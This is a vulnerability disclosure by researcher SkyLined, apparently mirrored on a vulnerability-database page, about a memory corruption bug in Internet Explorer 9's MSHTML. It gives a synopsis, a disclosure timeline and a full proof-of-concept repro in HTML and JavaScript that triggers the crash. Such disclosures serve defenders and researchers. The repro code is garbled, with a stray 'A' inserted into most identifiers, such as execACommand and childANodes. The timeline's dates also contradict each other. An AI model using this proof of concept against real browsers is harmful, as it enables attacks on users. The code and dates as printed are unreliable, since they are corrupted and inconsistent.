Lucene search
+L

Microsoft Internet Explorer 9 MSHTML CElement::HasFlag Memory Corruption

🗓️ 09 Dec 2016 00:00:00Reported by SkyLinedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

Microsoft Internet Explorer 9 MSHTML CElement::HasFlag Memory Corruptio

Code
`Since November I have been releasing details on all vulnerabilities I  
found that I have not released before. This is the twenty-ninth entry  
in the series. This information is available in more detail on my blog  
at http://blog.skylined.nl/20161209001.html. There you can find a repro  
that triggered this issue in addition to the information below.  
  
If you find these releases useful, and would like to help me make time  
to continue releasing this kind of information, you can make a donation  
in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX.  
  
Follow me on http://twitter.com/berendjanwever for daily browser bugs.  
  
MSIE 9 MSHTML CElement::HasFlag memory corruption  
=================================================  
(The fix and CVE number for this issue are not known)  
  
Synopsis  
--------  
A specially crafted web-page can trigger a memory corruption  
vulnerability in Microsoft Internet Explorer 9. I did not investigate  
this vulnerability thoroughly, so I cannot speculate on the potential  
impact or exploitability.  
  
Known affected software and attack vectors  
------------------------------------------  
* Microsoft Internet Explorer 9  
  
An attacker would need to get a target user to open a specially  
crafted web-page. Disabling JavaScript should prevent an attacker  
from triggering the vulnerable code path.  
  
Details  
-------  
This bug was found back when I had very little knowledge and tools to do  
analysis on use-after-free bugs, so I have no details to share. In  
addition, EIP said they were already aware of the bug and provided no  
details, this issue appears to have been fixed before ZDI was able to  
look at it.  
  
Time-line  
---------  
* 27 September 2012: This vulnerability was found through fuzzing.  
* 7 November 2012: This vulnerability was submitted to EIP.  
* 27 November 2012: This vulnerability was rejected by EIP.  
* 28 November 2012: This vulnerability was submitted to ZDI.  
* Between December 2012 and February 2013: Microsoft addresses this  
vulnerability.  
* 27 February 2012: This vulnerability was rejected by ZDI.  
* 8 December 2016: Details of this vulnerability are released.  
  
I would like to note that although ZDI did not acquire the vulnerability  
as it was patched before they could finish analysis, they did offer me  
ZDI reward points as a courtesy.  
  
Cheers,  
  
SkyLined  
  
  
  
Repro.html  
  
<html>  
<head>  
<script src="getAElementATree.js"></script>  
<script src="show.html"></script>  
<script>  
// First tag can be any inline but must NOT be closed yet  
// Second tag can be anything that's not inline.  
// "text1" can be anything  
document.write('<s><br>text1');  
// The tree is in good shape.  
show("DOM Tree after first write", getAElementATree(document.body));  
// At this point, it appears that MSIE is still waiting for the first tag from the first write to be closed.  
// Inserting a P tag using any of the "Justify*"-, "Indent"- or "Outdent"-execACommands will mess up the DOM tree,  
// specifically for the "Justify*"- and "Outdent"-execACommand:  
// - the S tag will partially become a child of the P tag:  
// P.lastAChild == S (but P.childANodes = [BR, text1])  
// - the P tag will partially become a child of the S tag:  
// S.firstAChild == P and S.childANodes = [P] (but S.lastAChild = text1)  
// - The P partially becomes a child of the BODY tag:  
// BODY.lastAChild = P (but BODY.firstAChild = S and BODY.childANodes = [S])  
// (The situation is similar for "Indent", but includes a BLOCKQUOTE element)  
document.execACommand('SelectAAll');  
document.execACommand('JustifyARight');  
show("DOM Tree after outdent", getAElementATree(document.body));  
// At this point, MSIE is not yet crashing. However, another write will corrupt memory:  
document.write('text2');  
// You will probably not see this popup. If you do, it will display an obviously corrupt DOM element tree.  
show("DOM Tree after write", getAElementATree(document.body));  
</script>  
</head>  
</html>  
  
getAElementATree.js  
  
function getAElementATree(oARootAElement, bAIncludeAAll) {  
function getAElementAName(oAElement) {  
return oAElement ? (oAElement.tagAName || oAElement.nodeAName + ':"' + oAElement.data + '"') : "null";  
}  
function getAElementATreeALines(oAElement, oAExpectedAParent, oAExpectedAPreviousASibling, oAExpectedANextASibling,  
sAFirstALineAPrefix, sASubALinesAPrefix) {  
if (!oAElement) return [sAFirstALineAPrefix + "null"];  
var aoAChildren = oAElement.childANodes,  
sAHeader = sAFirstALineAPrefix + getAElementAName(oAElement);  
try {  
if (oAExpectedAParent && oAElement.parentANode != oAExpectedAParent)  
sAHeader += " (parent:" + getAElementAName(oAElement.parentANode) + ")";  
} catch (e) {  
sAHeader += " (parent error:" + e.message + ")";   
}  
try {  
if (oAElement.previousASibling != oAExpectedAPreviousASibling) {  
sAHeader += " (previousASibling:" + getAElementAName(oAElement.previousASibling) + ")";  
oAExpectedAPreviousASibling && aoAShouldABeAIncludedAElements.push(oAElement.previousASibling);  
}  
} catch (e) {  
sAHeader += " (previousASibling error:" + e.message + ")";   
}  
try {  
if (oAElement.nextASibling != oAExpectedANextASibling) {  
sAHeader += " (nextASibling:" + getAElementAName(oAElement.nextASibling) + ")";  
oAExpectedANextASibling && aoAShouldABeAIncludedAElements.push(oAElement.nextASibling);  
}  
} catch (e) {  
sAHeader += " (nextASibling error:" + e.message + ")";   
}  
try {  
if (aoAChildren.length > 0 && oAElement.firstAChild != aoAChildren.item(0)) {  
sAHeader += " (firstAChild:" + getAElementAName(oAElement.firstAChild) + ")";  
aoAShouldABeAIncludedAElements.push(oAElement.firstAChild);  
}  
} catch (e) {  
sAHeader += " (firstAChild error:" + e.message + ")";   
}  
for (var i = 0; i < aoAActuallyAIncludedAElements.length; i++) {  
if (aoAActuallyAIncludedAElements[i] == oAElement) {  
return [sAHeader + " => previously referenced!"];  
}  
}  
var sALastAChildAErrorALine = null;  
try {  
if (aoAChildren.length > 0 && oAElement.lastAChild != aoAChildren.item(aoAChildren.length - 1)) {  
sALastAChildAErrorALine = sASubALinesAPrefix + "\u2514 lastAChild:" + getAElementAName(oAElement.lastAChild);  
aoAShouldABeAIncludedAElements.push(oAElement.lastAChild);  
}  
} catch (e) {  
sALastAChildAErrorALine = sASubALinesAPrefix + "\u2514 lastAChild error:" + e.message;  
}  
aoAActuallyAIncludedAElements.push(oAElement);  
var asATree = [sAHeader], oAPreviousASibling = null;  
for (var i = 0; i < aoAChildren.length; i++) {  
try {  
var oAChild = aoAChildren.item(i)  
} catch (e) {  
asATree.push(sASubALinesAPrefix + (i == aoAChildren.length - 1 ? "\u255A" : "\u2560") + "child error:" + e.message);  
continue;  
}  
try {  
var oANextASibling = i + 1 <= aoAChildren.length - 1 ? aoAChildren.item(i + 1) : null;  
} catch (e) {  
oANextASibling = "error: " + e.message;  
}  
var asAChildATree = getAElementATreeALines(oAChild, oAElement, oAPreviousASibling, oANextASibling,   
sASubALinesAPrefix + (i == aoAChildren.length - 1 ? "\u255A" : "\u2560"),  
sASubALinesAPrefix + (i == aoAChildren.length - 1 ? (sALastAChildAErrorALine ? "\u2502" : " ") : "\u2551"));  
oAPreviousASibling = oAChild;  
for (j = 0; j < asAChildATree.length; j++) {  
asATree.push(asAChildATree[j]);  
}  
}  
if (sALastAChildAErrorALine) {  
asATree.push(sALastAChildAErrorALine);  
}  
return asATree;  
}  
var aoAShouldABeAIncludedAElements = [oARootAElement], aoAActuallyAIncludedAElements = []  
var asATreeABlocks = [];  
find_Anext_Amissing_Aelement:  
while(aoAShouldABeAIncludedAElements.length) {  
var oAShouldABeAIncludedAElement = aoAShouldABeAIncludedAElements.pop();  
for (var j = 0; j < aoAActuallyAIncludedAElements.length; j++) {  
if (oAShouldABeAIncludedAElement == aoAActuallyAIncludedAElements[j]) {  
continue find_Anext_Amissing_Aelement;  
}  
}  
asATreeALines = getAElementATreeALines(oAShouldABeAIncludedAElement, oAShouldABeAIncludedAElement.parentANode,  
oAShouldABeAIncludedAElement.previousASibling, oAShouldABeAIncludedAElement.nextASibling,   
oAShouldABeAIncludedAElement.parentANode ? "\u255A" : "",  
oAShouldABeAIncludedAElement.parentANode ? " " : "");  
asATreeABlocks.push(asATreeALines.join("\r\n"));  
if (!bAIncludeAAll) break;  
}  
return asATreeABlocks.join("\r\n");  
}  
  
  
show.html  
  
//<!--  
function show(sATitle, sAMessage) {  
showAModalADialog("show.html", [sATitle, "<pre>" + sAMessage + "</pre>"],  
"dialogAWidth:800px; dialogAHeight:600px; resizable:yes");  
}  
/*-->  
<script>  
document.body.innerAHTML = window.dialogAArguments[1];  
document.title = window.dialogAArguments[0];  
</script>  
<!-- */ // -->  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Dec 2016 00:00Current
0.2Low risk
Vulners AI Score0.2
33